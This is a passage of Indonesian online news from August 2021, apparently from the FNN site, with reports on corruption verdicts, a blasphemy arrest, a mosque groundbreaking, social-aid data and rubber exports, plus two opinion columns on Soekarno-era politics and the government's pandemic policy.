Eko menekankan pada bawahannya bahwa bahkan bunganya saja adalah hak masyarakat. “Saya meminta maaf kepada masyarakat, Bapak Kapolri, terutama institusi saya,” kata Eko Indra Heri. (MD).

Anies Baswedan akan Meletakkan Batu Pertama Pembangunan Masjid At Tabayyun

Jakarta, FNN - Gubernur DKI Jakarta, Anies Baswedan diagendakan meletakkan batu pertama pembangunan Masjid At Tabayyun di Perumahan Taman Villa Meruya, Jakarta Barat pada Jumat (27/8). "Gubernur akan melaksanakan ibadah Shalat Jumat bersama warga Muslim di Tenda Masjid At Tabayyun," kata Ketua Panitia Pembangunan Masjid At Tabayyun, Marah Sakti Siregar melalui keterangan tertulis di Jakarta, Rabu, 25 Agustus 2021. Guna menyambut kedatangan Anies, Sakti menuturkan panitia telah berkoordinasi dengan perangkat Pemerintah Kota Jakarta Barat. Bahkan, Wali Kota Jakarta Barat, Uus Kuswanto telah memerintahkan jajarannya supaya berkoordinasi dengan panitia pembangunan masjid. "Gubernur dan Wali Kota menganggap pembangunan Masjid At Tabayyun merupakan tonggak penting di Jakarta," ujar Sakti, sebagaimana dikutip dari Antara. Sakti mengatakan, acara peletakkan batu pertama dan Shalat Jumat akan digelar dengan menerapkan protokol kesehatan secara ketat. Jumlah undangan maksimal 40 orang di dalam tenda karena masih masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Selain undangan yang hadir langsung, panitia juga menggelar acara secara hibrid bagi tamu VVIP yang berada di luar tenda atau melalui aplikasi Zoom Meeting, siaran live di Channel YouTube Realita TV, FB, dan Instagram. Masjid tersebut akan dibangun di area fasilitas sosial seluas 1.078 meter persegi milik Pemerintah Provinsi DKI Jakarta. Konsepnya, di tengah taman hijau seluas tapak bangunan sekitar 400 meter persegi dan luas bangunan sekitar 750 meter persegi terdiri dari dua lantai. Pembangunan Masjid At Tabayyun diperkirangan menghabiskan dana sekitar Rp 10 miliar. Pembangunannya diharapkan selesai dalam waktu delapan bulan. (MD).

Mahkamah Agung Tetap Vonis Seumur Hidup Benny Tjokro dan Heru Hidayat

Jakarta, FNN - Mahkamah Agung menolak kasasi yang diajukan Direktur Utama PT Hanson International Tbk. Benny Tjokrosaputro dan Komisaris Utama PT Trada Alam Minera Heru Hidayat. Dengan demikian, keduanya tetap divonis seumur hidup dalam perkara korupsi pengelolaan dana investasi pada PT Asuransi Jiwasraya. "Tolak JPU (Jaksa Penuntut Umum) dan terdakwa," demikian tertulis dalam amar putusan kasasi seperti termuat dalam laman Mahkmamah Agung RI, yang dikutip Antara, Rabu, 25 Agustus 2021. Dalam laman tersebut disebutkan tanggal putusan kasasi adalah pada 24 Agustus 2021 oleh majelis hakim yang terdiri atas hakim Eddy Army, Ansori, dan Suhadi. Majelis hakim Pengadilan Tindak Pidana Korupisi (Tipikor) Jakarta yang berlokasi di Pengadilan Negeri Jakarta Pusat pada tanggal 26 Oktober 2020 menyatakan Benny Tjokrosaputro terbukti bersalah dan divonis penjara seumur hidup ditambah kewajiban membayar uang pengganti sebesar Rp 6,078 triliun. Heru Hidayat juga dinyatakan bersalah dan divonis penjara seumur hidup ditambah kewajiban membayar uang pengganti sebesar Rp 16,807 triliun. Dalam perkara tesebut, Benny Tjokrosaputro dan Heru Hidayat bersama-sama dengan Direktur Utama PT Asuransi Jiwasraya (Persero) 2008-2018, Hendrisman Rahim; Direktur Keuangan Jiwasraya periode Januari 2013-2018, Hary Prasetyo; Kepala Divisi Investasi dan Keuangan Jiwasraya, Syahmirwan (2008-2014) dan advisor PT Maxima Integra, Joko Hartomo Tirto melakukan pengaturan investasi dengan membeli saham dan Medium Term Note (MTN) yang dijadikan portofolio PT AJS baik secara direct, dalam bentuk kontrak pengelolaan dana (KPD), reksa dana penyertaan terbata (RDPT), maupun reksa dana konvensional, sehingga merugikan keuangan negara sebesar Rp 16,807 triliun. Dari perbuatan-perbuatan itu, Heru Hidayat juga mendapatkan keuntungan Rp 10.728.783.375.000,00, sedangkan Benny mendapat keuntungan sebesar Rp 6.078.500.000.000,00. Selain melakukan korupsi yang mengakibatkan kerugian keuangan negara, Benny dan Heru juga terbukti melakukan tindak pidana pencucian uang (TPPU). Heru Hidayat menggunakan uang keuntungan dari Jiwasraya untuk pembayaran kasino di Resort World Sentosa, Marina membuat kapal pinisi Bira Sulawesi Selatan. Juga menggunakan uang korupsi membayar kasino Marina Bay Sands, membayar utang kasino di Macau, membayar kasino Sky City di Selandia Baru, dan aktivitas lainnya. Sedangkan Benny Tjokro melakukan pencucian uang dengan membeli tanah di Maja, Kabupaten Lebak, Banten, membayar bunga Mayapada, membeli saham. Kemudian ia membayar kepada nominee Benny Tjokrosaputro atas nama PO Saleh, 4 unit apartemen di Singapura yaitu 1 unit di St. Regis Residence, melakukan pembangunan perumahan dengan nama Forest Hill dan lainnya. (MD).

Wakil Ketua MPR Apresiasi Polisi Tangkap Penista Agama M Kece

Jakarta, FNN - Wakil Ketua MPR RI, Hidayat Nur Wahid (HNW) mengapresiasi langkah Kepolisian Negara Republik Indonesia (Polri) menangkap tersangka kasus dugaan penistaan agama Muhammad Kece. Ia mendesak aparat penegak hukum, termasuk kejaksaan dan pengadilan dapat memberikan tuntutan dan hukuman yang maksimal kepada Kece. “Jangan sampai perbuatan yang membahayakan kerukunan umat beragama dan NKRI seperti itu diulangi lagi oleh yang bersangkutan atau orang lain,” ujar Hidayat dalam keterangan tertulis yang diterima di Jakarta, Rabu, 25 Agustus 2021. Menurut Hidayat, hukuman keras sangat layak dijatuhkan kepada Kece yang telah berulangkali meresahkan umat dengan penistaannya terhadap Agama Islam. Hukuman berat kepada Kece, juga diperlukan guna menghadirkan efek jera. Harapannya, agar tidak ada lagi yang mengulangi perbuatan serupa, yaitu penistaan terhadap agama Islam. Sekaligus dapat menjaga harmoni toleransi umat beragama, termasuk menghindarkan Indonesia dari terpecah-belah dan diadu-domba pihak-pihak yang antiagama. Dia menyampaikan, berdasarkan UU No. 1/PNPS/1965 tentang Pencegahaan dan Penyalahgunaan dan/atau Penodaan Agama dan Pasal 156a Kitab Undang-Undang Hukum Pidana (KUHP), sanksi pidana maksimal adalah lima tahun penjara. “Karena kejahatannya, yang bersangkutan sudah layak dijatuhi hukuman maksimal tersebut,” jelasnya, sebagaimana dikutip dari Antara. HNW yang juga Wakil Ketua Majelis Syura Partai Keadilan Sejahtera (PKS) berharap persoalan tersebut diusut tuntas. Termasuk kemungkinan adanya jaringan antiagama atau yang ingin mengadu-domba antarumat beragama di balik keberanian Kece menistakan Islam dan Nabi Muhammad. "Jangan sampai terulang kasus-kasus penistaan terhadap agama serta simbol/tokoh agama Islam yang pelakunya ditangkap, tetapi hukum tidak ditegakkan dengan dalih 'gangguan jiwa'. Sebab, yang dilakukan Kece tampak betul yang bersangkutan sehat dan menyadari apa yang dilakukannya. Akan tetapi, jika harus diperiksa kondisi kejiwaannya, harus dilakukan oleh ahli kejiwaan yang profesional dan independen,” jelasnya. Kasus penistaan agama/simbol agama semacam ini, kata HNW, semakin sering terjadi. Salah satu sebabnya banyak kasus serupa yang tidak ada kejelasan dengan alasan gangguan kejiwaan atau lainnya. HNW mengingatkan agar polisi dapat menangkap pelaku penistaan agama yang lain, termasuk yang saat ini masih buron, yakni Jozeph Paul Zhang. “Saya apresiasi kinerja Polri yang menangkap Kece. Akan tetapi, juga sekaligus mengingatkan, Polri masih mempunyai pekerjaan rumah untuk menangkap penista agama lain, yaitu Jozeph Paul Zhang," ujarnya. Dia mengatakan jika semua kasus penistaan agama yang meresahkan publik dan sudah dilaporkan ke polisi diproses secara adil sesuai aturan hukum yang berlaku, maka hal itu dapat meyakinkan umat akan adanya hukum yang adil dan bisa membuat efek jera. "Sehingga kehidupan bangsa Indonesia yang harmonis dan saling toleran antarumat beragama, tidak terganggu,” jelasnya. Ia mengingatkan DPR RI dan pemerintah agar segera membahas RUU Pelindungan Tokoh dan Simbol Agama. RUU tersebut sebagai alat hukum dalam membentengi semua agama yang diakui di Indonesia beserta simbol dan tokoh-tokohnya dari pelecehan, penghinaan, dan tindakan kriminalitas. Sekaligus melengkapi aturan-aturan yang berlaku saat ini. “RUU ini sangat penting karena dapat sebagai langkah preventif dan represif terhadap pelaku-pelaku penista apa pun agama yang diakui di Indonesia beserta tokoh dan simbol masing-masing agama,” ujarnya. (MD).

Sejarah Mentang-mentang, dan Sentilan Gus Baha

Oleh Ady Amar *) SEJARAH selalu diisi para pemenang. Atau dalam narasi lain, sejarah selalu diwarnai oleh mereka yang tengah berkuasa Merekalah yang menulis sejarah sesuai dengan keinginan dan versinya. Rezim Orde Baru menulis sejarahnya sendiri, menurut versinya. Maka yang berbau Orde Lama dibersihkan, dibuang dalam buku-buku sejarah. Maka nama-nama yang berbau "kiri" akan sulit bisa ditemukan, dalam buku pelajaran sejarah sekolah. Soeharto "panglima" Orde Baru muncul menghiasi sejarah, dan ia digambarkan tidak saja mampu melumat ajaran Komunisme/Marxisme/Leninisme, tapi ia juga sebagai jenderal yang mampu menjaga stabilitas keamanan khususnya. Maka operasi pembunuhan misterius (petrus) jadi andalan penegakan kamtibmas, meski itu dianggap melanggar HAM. Tidak terhitung penjahat yang ditembak mati tanpa pengadilan. Meski ditentang Barat, operasi petrus jalan terus, dan berhenti saat dianggap sudah cukup memenuhi target. Untuk menegaskan peran Soeharto dalam merebut kemerdekaan dan pasca kemerdekaan, dimunculkan film-film perjuangan, dimana Soeharto sebagai tokoh sentralnya. Film "Serangan 1 Maret/Janur Kuning" (1979), "Serangan Fajar" (1982), dan yang paling fenomenal film "Pengkhianatan G30S/PKI" (1984). Film ini rutin sejak 1985 diputar di TVRI, setiap tanggal 30 September. Tidak ada yang salah dalam film-film itu, justru film-film itu membangkitkan semangat kejuangan, dan memperlihatkan kekejaman PKI sebagai dalang kudeta dengan melakukan pembunuhan para jenderal. Pada masa Orde Baru, apa saja yang berbau kiri ditiadakan. Sehingga sulit untuk menemukan, misal buku Tan Malaka. Namanya menjadi asing, tidak dikenal anak-anak sekolah tingkat lanjutan pertama dan atas. Padahal ia termasuk pahlawan nasional. Bukunya Madilog (1951) sulit ditemukan. Buku itu magnum opus karya Tan Malaka, dan dianggap sebagai karya paling berpengaruh dalam Sejarah Filsafat Indonesia Modern. Tapi bersyukur Yayasan Pustaka Obor Indonesia, cukup berjasa saat mengangkat karya Harry A. Poeze, sejarawan Belanda yang dianggap orang paling mengerti akan kisah hidup Tan Malaka, sebagai aktivis politik revolusioner dalam sejarah Indonesia. Buku 3 jilidnya, Tan Malaka, Gerakan Kiri, dan Revolusi Indonesia itu mampu melepas dahaga mengenal sejarah tokoh misterius satu ini. Seiring berjalannya waktu, rezim Orde Baru lambat laun, khususnya pada pertengahan '80-an, mulai melonggarkan literasi agak kekirian, termasuk karya yang pada awalnya "terlarang". Bahkan Bung Karno, yang dianggap tokoh utama rezim Orde Lama, pelan-pelan pula namanya "dipulihkan", dan itu bisa terlihat dengan penamaan bandara dengan namanya bersama dengan nama Bung Hatta, Bandara Soekarno Hatta. Namun soal Komunis sebagai ajaran terlarang, tidak bisa ditawar-tawar, yang itu dikuatkan dengan Tap MPRS, yaitu Tap XXV/MPRS/1966. Rezim Orde Baru tegas menegakkan ketetapan itu. Tidak ada tawar menawar, dan itu memang konsekuensi sebagai negara Pancasila yang berketuhanan. Soekarno Menjadi Tidak Proporsional Sebagai pahlawan nasional dan Proklamator RI bersama Hatta, Soekarno dibuat seolah milik keluarga, atau setidaknya milik PDI Perjuangan. Maka wajah Soekarno selalu menempel pada banner-banner beraroma PDIP, di samping juga tentunya wajah Megawati Soekarnoputri. Peran Bung Karno ditarik atau dikecilkan tanpa disadari, seolah milik keluarga. Seperti PDIP tidak percaya diri jika tanpa mengikutsertakan nama besar Soekarno. Di sebalik itu masyarakat "dipaksa" mengakui peran-peran besar Soekarno dengan lomba memasang patungnya. Soekarno hadir menjadi tidak proporsional. PDIP sebagai partai besar, menjadi partai penguasa yang seolah bisa berbuat apa saja. Apalagi dengan klaim kepemilikan "petugas partai" meski itu setingkat presiden, maka apa yang tidak bisa dibuat menjadi mudah dibuat dan diwujudkan. Maka semua pihak ingin mendekati partai besar ini, terutama mendekati sang pemilik partai, Megawati Soekarnoputri. Megawati jadi pihak yang seolah diperebutkan. Keberadaannya bahkan lebih dari "petugas partai", yang meski orang nomor satu di republik ini. Sematan gelar "petugas partai" itu memang mengecilkan, itu hal tidak pantas. Itu upaya ingin menjadikan presiden juga milik partai, sebagaimana juga Soekarno milik partai. Melihat itu, bermunculan mereka yang ingin mendekat dengan berbagai cara. Maka pengadaan patung Bung Karno jadi senjata untuk "dilihat" Megawati. Muncul patung setengah dada Ir. Soekarno di Akademi Militer (Akmil) Magelang, Jawa Tengah, (7 Februari 2020). Gubernur Akmil, kala itu, Mayjen Dudung Abdurrahman, cerdas menangkap momen itu. Ia diapresiasi Megawati, yang dalam sambutannya mengucapkan terima kasih dan penghargaan. Megawati mengatakan, bahwa Bung Karno itu pendiri Akmil, dan menjadi aneh jika tidak ada patungnya. Itu sudah hampir melupakan sejarah. Lanjutnya, padahal kita tahu bahwa sejarah di dunia ini pun sangat penting untuk menunjukkan yang namanya kita sebagai warga bangsa. Sambutan khas Megawati dengan kalimat ala kadarnya yang terpontal-pontal, itu pun disambut penuh kekaguman. Mayjen Dudung pun menyambar, itu tampak dalam sambutannya, bahwa patung Ir. Soekarno di Akmil sebagai simbol untuk menghormati dan mengabadikan perjalanan perjuangan bersejarah Sang Proklamator. Selain itu dijadikan panutan bagi Taruna-Taruni sebagai calon pimpinan TNI AD dan TNI masa depan. Patung Ir. Soekarno di Akmil, itu yang menjadikan Mayjen Dudung dalam hitungan bulan diangkat sebagai Pangdam Jaya. Benar-benar sakti. Tidak lama setelah itu, Mayjen Dudung menyambar lagi dengan menurunkan baliho-baliho Habib Rizieq Shihab. Tidak lama kemudian, ia diangkat sebagai Pangkostrad dan pangkatnya menjadi Letnan Jenderal. Entah ini bisa disebut kebetulan, atau langkahnya memang penuh perhitungan. Lalu muncul lagi patung Ir. Soekarno Duduk di kursi sedang membaca buku, diresmikan di depan kantor Lemhanas, (20 Mei 2021). Tidak persis tahu apa motif Letjen (Pur) Agus Widjoyo, Gubernur Lemhanas, menghadirkan patung itu. Seolah berlomba membangun patung Soekarno jadi model, dan tentu itu politik kepentingan. Lalu gong sementara dari semuanya adalah patung Ir. Soekarno yang dibangun Prabowo Subianto, Menteri Pertahanan RI, sebuah patung Ir. Soekarno Menunggang Kuda, (7Juni 2021). Patung itu diletakkan di halaman depan Kantor Kementerian Pertahanan. Peresmiannya juga oleh Megawati Soekarnoputri. Jika lalu pihak lain mengatakan, bahwa perjalanan sejarah bangsa ini bukan cuma oleh seorang Ir. Soekarno, itu tidak salah. Menghadirkan Ir. Soekarno berlebihan, itu politik mumpung sedang berkuasa. Sentilan Gus Baha Indonesia dibentuk oleh seluruh bangsa, bukan hanya segelintir orang saja, sentil Gus Baha. Itu disampaikannya dalam video berdurasi 45 detik, Gus Baha menyatakan, bahwa Indonesia bukan hanya milik PDIP dan Soekarnoisme saja. "Tentu Pak Karno bikin negara itu untuk semua bangsa, bukan untuk PDIP saja, bukan untuk partai yang berpaham marhaenisme, juga bukan untuk partai yang berpaham Soekarnois saja," ujarnya. Kebesaran Soekarno jangan sampai direduksi atau disederhanakan hanya melalui partai saja. Itu justru merupakan bentuk pengkerdilan pada Soekarno. "Ya kita gak mungkin gak menghormati Soekarno. Beliau adalah pahlawan besar yang harus kita hormati... Tapi ya, kebesaran pak Karno dan bangsa Indonesia jangan kemudian direduksi, disederhanakan hanya melewati partai. Itu kan pengkerdilan," ujar Gus Baha. "Bahkan HOS Cokroaminoto bikin partai Islam adalah untuk mengusir bangsa Belanda dari Indonesia, yang mestinya juga untuk kepentingan semua bangsa Indonesia dan bukan hanya Islam saja," imbuhnya. Apa yang disampaikan Gus Baha, sebenarnya hal biasa saja. Menjadi istimewa karena yang menyampaikan Gus Baha. Semua yang bisa berpikir sedikit rasional, merasakan hal sama, bahwa Bung Karno serasa direduksi/disederhanakan. Atau, Bung Karno dibuat menjadi kecil, seolah pahlawan kelas keluarga dan partai (PDIP) saja. Makanya itu, Bung Karno selalu dihadirkan pada baliho-baliho yang menyertakan Megawati atau PDIP. Orang bertanya-tanya, tumben Gus Baha ceramahnya "nyasar" pada pereduksian Bung Karno itu. Bisa jadi, ia dan juga manusia merdeka lainnya melihat, bahwa upaya mereduksi Bung Karno sedang terjadi. Sebaliknya muncul upaya menganggap pahlawan bangsa itu cuma Soekarno, itu yang dikritisinya. Dan lalu jadi keprihatinan Gus Baha, dan tentu kita semua... Sejarah memang suka mentang-mentang sedang berkuasa, dan melupakan periode sejarah sebelumnya. *) Kolumnis

M. Kece Tiba di Bareskrim Polri Ucapkan Salam Sadar

Jakarta, FNN - YouTuber M. Kece, tersangka kasus dugaan penistaan agama tiba Bareskrim Polri, Jakarta Selatan, Rabu sore, pukul 17.18 WIB, langsung menyapa awak media dan mengucapkan kata salam sadar. "Salam sadar, semoga bangsa Indonesia pada nyadar," ucap Kece di hadapan awak media. Penyidik Siber Bareskrim Polri menangkap Muhammad Kece dari tempat persembunyiannya di Kecamatan Kuta Utara, Kabupaten Badung, Bali, pada Selasa (24/8) pukul 19.30 WIB. Kece lalu dibawa ke Bareskrim Polri menggunakan pesawat terbang dari Bandara I Gusti Ngurah Rai menuju Jakarta guna mempertanggungjawabkan perbuatannya. Dari bandara Muhammad Kece dibawa menggunakan mobil menuju Bareskrim Polri. Setibanya di lobi Bareskrim, pria paruh baya itu menggunakan jaket bewarna hitam dan topi hitam dengan celana warna cokelat. Kece menggunakan tongkat jalan menuju awak media yang sudah menanti kedatangannya, spontan langsung melambaikan tangan ke arah awak media, dan membuka masker dan menyapa awak media. "Salam sadar semoga bangsa Indonesia pada nyadar, selamat sore semuanya saya Muhammad Kece," kata Kece. Setelah menyapa media, penyidik langsung menggiring Muhammad Kece kedalam Bareskrim Polri. Sebelumnya, Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono mengatakan Kece ditahan di Rutan Bareskrim Polri. "Sore ini tiba di Bareskrim untuk mempertanggungjawabkan perbuatannya," kata Rusdi. Tersangka M Kece, kata Rusdi, disangkakan dengan Pasal 28 ayat (2) dan junto Pasal 45 a ayat (2) dan dapat dijerat dengan peraturan lainnya yang relevan, yakni Pasal 156 a KUHP tentang Penodaan Agama. "Ancaman pidananya bisa enam tahun penjara," kata Rusdi. Video unggahan M Kece memantik kemarah publik, bahkan Pemuda Muhammadiyah mendesak Polri untuk menangkap M Kece dan mengancam akan melakukan unjuk rasa. Viral di media sosial seorang YouTuber Muhammad Kece mengunggah konten yang mengandung unsur penistaan terhadap Agama Islam, seperti mengubah pengucapan salam. Tak hanya dalam ucapan salam saja, Muhammad Kece juga mengubah beberapa kalimat dalam ajaran Islam yang menyebut nama Nabi Muhammad SAW. Selain itu, Kece mengatakan Muhammad bin Abdullah dikelilingi setan dan pendusta serta banyak pernyataan mengandung unsur penistaan agama. (sws)

Serahkan Pada Ahlinya

Bak tiba masa tiba akal cara kerja rezim ini, tidak ada konsep yang signifikan, yang ada hanya kasus melulu. Oleh Sugengwaras TERKAIT Covid, padahal banyak orang orang rezim yang profesional di bidangnya, seharusnya terbagi habis pada kementerian masing-masing, sampai-sampai istilah atau nama yang dipakai berganti ganti mulai PSBB, kehidupan baru, ada lagi darurat darurat dan kini PPKM yang berlevel, yang esensinya sebagai upaya pencegahan dan pemutusan mata rantai penularan Covid - 19 sesuai kadar ancaman Kita sangat respon dan menghargai upaya upaya ini, namun dalam implementasinya banyak kendala di sana sini yang membuat rakyat terpaksa dan penuh cemas harap Kita juga menjadi tanda tanya, LBP sebenarnya fokus kerja pada bidang apa, tapi nyatanya nyaris menangani segala urusan, hebat bener! Akankah cara kerja tingkat negara akan terus begini? Memang tidak gampang menyikapi pandemi ini, di samping resiko tinggi juga masalah yang timbul juga rumit, justru disinilah empati dan kebijakan rezim diuji Jadi Jokowi tidak boleh sembarangan mengatur kerja ini karena menyangkut kehidupan orang banyak dan masa depan bangsa. Enam kali perpanjangan PPKM, dan masih sangat mungkin diperpanjang panjang terus hanya membuat kekhawatiran, panik, cemas harap dan ketidak pastian masyarakat dalam memperjuangkan kelangsungan hidup Pernyataan Menkes tentang akan berlangsung panjang bertahun tahun pandemi ini, tambah serem lagi ketika disusul pernyataan LBP bahwa PPKM akan diberlakukan selama ada pandemi, yang keduanya menunjukkan ketidak pastian yang membuat mirisnya rakyat kebanyakan maupun para pengusaha Apapun alasannya PPKM telah membatasi aktifitas dan produk, bayangkan jika benar benar berlangsung sangat lama. Sebagai contoh keharusan vaksinasi sebagai persyaratan banyak hal, ini sangat meresahkan masyarakat banyak pada situasi dan kondisi seperti sekarang. Saya hanya mengingatkan, tidakkah bisa diambil langkah langkah konkrit yang justru kendala dijadikan peluang? Tolong rezim lebih punya prinsip dalam hal hal normatif, tapi kadang perlu luwes terhadap hal hal yang sulit diterjemahkan Semisal, tidak perlu digembar gemborkan tentang resiko dan denda, dengan kata lain hargai hak asasi manusia. Jadi hindari rasa belum puas kalau belum membuat masyarakat terus pusing, cemas harap dan penuh ketidak pastian, justru pribumi yang ditekan dan diuber uber, disisi lain TKA berlenggang kangkung. Bekerja yang profesional sesuai tingkat pimpinan pusat, seharusnya bekerja dalam bingkai ruang dan waktu, secara berencana bertahap, berkesinambungan, terpadu, terkoordinir, terkendali dan terukur yang pada muaranya tidak membuat masyarakat merasa dibuat panik dan ketidakpastian. Dengar, manfaatkan dan berdayakan anak anak bangsa sendiri yang ahli dan berpotensi seperti dr Terawan, dr Siti Fadilah dan lain lain, tinggalkan egosentric, lepaskan perbedaan pandangan / politik, kedepankan dan utamakan persatuan, kesatuan, kekompakan dan kerjasama yang baik, demi keselamatan, kedamaian dan kesejahteraan rakyat! Saya yakin ini bisa dilaksanakan sebagai upaya untuk menyadarkan masyarakat sekaligus memotivasi semangat hidup ! Penulis Purnawirawan TNI AD.

Wali Kota Cimahi Ajay Divonis 2 Tahun Penjara

Bandung, FNN - Wali Kota Cimahi, Jawa Barat, nonaktif Ajay M Priyatna oleh Majelis Hakim Pengadilan Negeri (PN) Bandung divonis dua tahun penjara atas kasus korupsi suap untuk memuluskan perizinan proyek rumah sakit. Majelis Hakim menyatakan Ajay terbukti menerima gratifikasi atas pembangunan Rumah Sakit Kasih Bunda di Kota Cimahi. "Menjatuhkan pidana kepada terdakwa Ajay Muhammad Priatna pidana penjara selama dua tahun dan pidana denda Rp100 juta subsider 3 bulan penjara," kata Ketua Majelis Hakim Sulistyono di PN Bandung, Kota Bandung, Rabu, 25 Agustus 2021. Ada pun Ajay terbukti bersalah sesuai Pasal 12 huruf a. Selain itu hakim berpandangan hal yang memberatkan Ajay yakni tidak mendukung upaya pemerintah dalam memberantas korupsi. Dikutip dari Antara, hal yang meringankan, menurut Majelis Hakim terdakwa bersikap sopan selama proses persidangan dan mempunyai tanggungan keluarga. Namun putusan itu lebih ringan daripada tuntutan yang dilayangkan Jaksa. Jaksa Komisi Pemberantasan Korupsi (KPK) sebelumnya yang menuntut Ajay agar dihukum 7 tahun penjara. Selain itu, Ajay juga dituntut Jaksa telah melakukan korupsi atas dakwaan seluruhnya, yakni dakwaan kesatu Pasal 12 huruf a dan dakwaan kedua Pasal 12 huruf B. Sementara itu, Ajay mengaku akan pikir-pikir terlebih dahulu atas putusan Majelis Hakim tersebut. Majelis Hakim memberikan waktu selama 7 hari untuk melakukan banding. "Kami masih pikir-pikir terlebih dahulu, saya harapannya tidak merasa apa-apa, tidak merasa berbuat yang keliru, karena semata-mata hanya ketidaktahuan," kata Ajay usai persidangan. (MD).

KPK Memaksimalkan Data Kependudukan Cegah Kerugian Penyaluran

Jakarta, FNN - Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Lili Pintauli Siregar mengatakan, pemanfaatan data kependudukan harus dimaksimalkan dalam penyaluran bantuan sosial (bansos) agar tidak menimbulkan kerugian negara. Lili mengatakan, berdasarkan pengelolaan data penerima bansos yang dilakukan Strategi Nasional Pencegahan Korupsi (Stranas PK) Tahun 2020, teridentifikasi data ganda menyebabkan ketidaktepatan penyaluran bansos. "Tentu menimbulkan kerugian negara, khususnya dalam penyelenggaraan bansos oleh berbagai pihak, baik di pemerintahan pusat maupun pemerintahan daerah pada masa pandemi Covid-19," ucap Lili saat webinar "NIK, Penting Gak Sih?" yang diadakan Sekretariat Stranas PK, Rabu, 25 Agustus 2021. Sebagai langkah antisipasi, lanjut Lili, KPK mengeluarkan Surat Edaran (SE) Pimpinan KPK Nomor 11 Tahun 2020 untuk mendorong pentingnya penggunaan nomor induk kependudukan (NIK) dalam pendataan penerima bansos. "Data NIK ini tentu harus tervalidasi dengan data dukcapil (kependudukan dan pencatatan sipil). Memastikan tidak ada lagi data ganda, orangnya belum meninggal atau kemudian tidak fiktif dan ke depan kami harapkan data tersebut dapat dan mudah sekali bisa diintegrasikan. Jadi, tidak membuat sulit ketika kegiatan akan dilakukan," ucap Lili, sebagaimana dikutip dari Antara. Menurut dia, pelaksanaan aksi Stranas PK Periode 2021-2022, salah satu di antaranya adalah mendorong perluasan pemanfaatan data kependudukan yang berbasis NIK guna meningkatkan efektivitas dan efisiensi kebijakan sektoral. Kementerian/lembaga sebagai pelaksana aksi telah memastikan integrasi data penerima program pemerintah tersebut dapat dipastikan secara administratif. Ia mengatakan, adanya data ganda maupun data anomali dapat dihindari saat pemberian program penanganan Covid-19 dan saat kegiatan Pemulihan Ekonomi Nasional (PEN). "Yang kedua, dari aksi tersebut telah tercapai tingkat kepadanan NIK sekitar 82 persen untuk data terpadu kesejahteraan dan 100 persen untuk data penerima bantuan dan ini sudah dipastikan terverifikasi dengan data kependudukan yang ada," tutur Lili. Selanjutnya melalui aksi itu, penggunaan NIK dapat digunakan sebagai syarat untuk pemberian Bantuan Presiden Produktif Usaha Mikro (BPUM) dan basis data pelaksanaan vaksin. "Jadi, bagaimana data tersebut menjadi sangat penting dengan menggunakan NIK yang ada," kata Lili. Ia mengharapkan interoperabilitas data nasional secara sistem teknologi informasi bisa terwujud. "Diharapkan dukcapil bisa berbagi data untuk validitas NIK penerima bantuan sosial beserta dengan perubahannya. Kementerian Sosial bisa berbagi data peserta program bantuan sosial. Kementerian dan lembaga pengelola bantuan sosial bisa memanfaatkan data tersebut," ujarnya. Oleh karena itu, kata dia, diharapkan ke depan dipastikan semua program bansos akan semakin efisien, efektif, transparan, akuntabel, dan diterima orang yang tepat. "Untuk mencapai semua itu dibutuhkan kerja sama, dibutuhkan sinergitas yang baik dan adanya partisipasi. Tentu kami harapkan adanya kolaborasi antarkementerian dan lembaga sebagai pengelola bantuan sosial, khususnya pemutakhiran data dengan berbagai data. Jadi, data balikkan dengan sumber data utama agar posisi data selalu ter-update dan siap setiap saat manakala dibutuhkan," kata Lili. (MD).

Harga Ekspor Karet Diprediksi Menguat Hingga Akhir Tahun

Medan, FNN - Gabungan Perusahaan Karet Indonesia (Gapkindo) Sumatera Utara memprediksi harga ekspor karet alam akan bertahan menguat hingga akhir tahun 2021. Kabar gembira bagi petani karet tersebut terjadi akibat kekurangan bahan baku di tengah meningkatnya permintaan di pasar internasional. "Harga ekspor karet SIR20 pada Agustus 2021 misalnya rata-rata di kisaran 1,73 dolar AS per kg dan harga itu diprediksi bertahan bahkan bisa menguat lagi,"ujar Sekretaris Eksekutif Gabungan Perusahaan Karet Indonesia Gapkindo Sumut, Edy Irwansyah, di Medan, Selasa (24/8). Harga karet pada Agustus yang sebesar 1,73 dolar AS per kg itu naik dari dari posisi Juli yang masih sebesar 1,63 dolar AS. Bertahan mahalnya harga karet di pasar internasional akibat dampak kekurangan pasokan dari negara produsen pada saat permintaan yang cenderung meningkat meski masih ada pandemi Covid-19. Kekurangan pasokan itu sebagai dampak produksi karet alam yang berkurang karena faktor cuaca, ditambah adanya gangguan pengiriman akibat kekurangan kontainer. Kurangnya kontainer itu sebagai dampak banyaknya pengiriman/ekspor setelah sebelumnya terganggu akibat pandemi Covid-19. "Kalau pun ada penurunan harga diprediksi bertahan di angka 1,70 an dolar AS per kg," ujar Edy, sebagaimana dikutip dari Antara. Ada pun menyangkut volume ekspor, menurut Edy, pada Agustus, ekspor diperkirakan lebih tinggi dari Juli. Prediksi adanya peningkatan itu karena banyaknya permintaan ditambah volume dari ekspor yang tertunda sebelumnya. Pada Juli 2021, volume ekspor karet alam Sumut tercatat 31.148 ton atau naik 5,3 persen dibandingkan bulan Juni. Secara total, ekspor karet Sumut pada Januari-Juli 2021 sudah sebesar 218.425 ton atau meningkat 7,7 persen dibandingkan periode sama tahun 2020. Ekspor karet Sumut tahun ini terbesar masih tetap ke Jepang atau 23,73 persen, Amerika Serikat 21,68 persen, Brazil (9,59), Turki (6,73), dan Republik Rakyat Tiongkok 5,75 persen. "Syukur di tengah masih ada pandemi Covid-19, volume dan harga jual karet alam meningkat terus," katanya. (MD).

Anies Kenang Elly Kasim Sebagai Sosok Peduli Jakarta

